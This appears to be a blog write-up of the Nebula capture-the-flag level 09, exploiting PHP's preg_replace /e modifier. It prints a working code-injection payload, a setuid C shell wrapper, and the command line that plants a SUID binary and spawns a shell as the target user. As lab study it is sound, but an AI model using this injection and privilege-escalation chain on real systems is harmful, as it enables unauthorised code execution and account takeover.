Challenge 09 gave me the most issues out of any other challenge so far. This may just be because I haven’t touched PHP since version 3 was just coming out. However, it is based on a dangerous function, known as preg_replace(). There are several more dangerous functions, some of which can be seen here.

The challenge starts by giving us the source code of the program we will be exploiting.


function spam($email)
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  return $email;

function markup($filename, $use_me)
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;

$output = markup($argv[1], $argv[2]);

print $output;


What I noticed immediately, was that the program accepted 2 arguments, but never used the second one, other than to pass it into the “markup” function as “$use_me”. This seemed odd, so I figured it had to do something with that. I also thought at first that the “spam” function was never being called, but then noticed it in quotes on the first line of “preg_replace” statements. I had to look this function up, and find out that it would evaluate the code at run-time. This means that I needed to inject code into that call to “spam()”.

I tried doing some basic injection to try to get something equivelent to it calling:


However this never worked, because of the PCRE modifiers built into PHP. They automatically will escape single and double quotes, as well as backticks (at least according to the docs). I spent hours trying to inject various strings to get some sort of code execution.

Somewhere along the line, I read a page (sorry I can’t seem to find it again) where they mentioned using an alternative syntax to the backreferences in preg_replace. So instead of using \2, you could use ${2}. This is covered slightly on the preg_replace php function reference. What that reference doesn’t show, is that you can apparently have that not just reference parameters, but any variable in the code. After tinkering a while, I settled on a pattern. I created a file named, /tmp/level09.txt

[email {${`$use_me`}}]

Firstly, I had to start with “[email “ and end with “]” to get it into this regex at all. Because of the PCRE modifiers, I used back-ticks, because in researching them, I ran across a blog post saying that back-ticks were able to bypass them somehow. So with variable expansion, and the PCRE modifier bypass, this should let me inject some code into the function.

Because running a “system()” or “exec()” method in the php caused me problems with interactivity, I opted to use commands that required no interaction at run-time. I again used my /tmp/bash_id.c file from challenge 07:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[])
    if (argc != 2)
        printf("usage: %s <user id>\n", argv[0]);
    else {
        int i = atoi(argv[1]);
        setresuid(i, i, i);
        setresgid(i, i, i);
        system( "/bin/bash" );
    return 0;

I then would call the compiled SUID version of the php file with 2 parameters. The first would be the text file I wanted to parse, and the second would be the commands I wanted to run, which would get inserted into the $use_me variable.

level09@nebula:/home/flag09$ ./flag09 /tmp/level09.txt "gcc -o /home/flag09/bash_id /tmp/bash_id.c;chmod +s,a+rwx /home/flag09/bash_id"
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

This compiled my bash_id.c source file to the flag09 user’s home directory, and marked it SUID. I ignored the PHP Notice, since I knew I was tinkering.

After making sure the bash_id program did get created properly, I just needed to call it with the userid of flag09 as the first parameter.

level09@nebula:/home/flag09$ ./bash_id `cat /etc/passwd | grep flag09 | cut -d : -f 3`
flag09@nebula:/home/flag09$ getflag
You have successfully executed getflag on a target account

This apparently worked, so I ran the “getflag” command as usual, marking completion of this challenge. This was by far the most guessing I’ve had to do on any of the challenges so far. I really hope that I don’t get stuck soon, leaving me unable to continue on.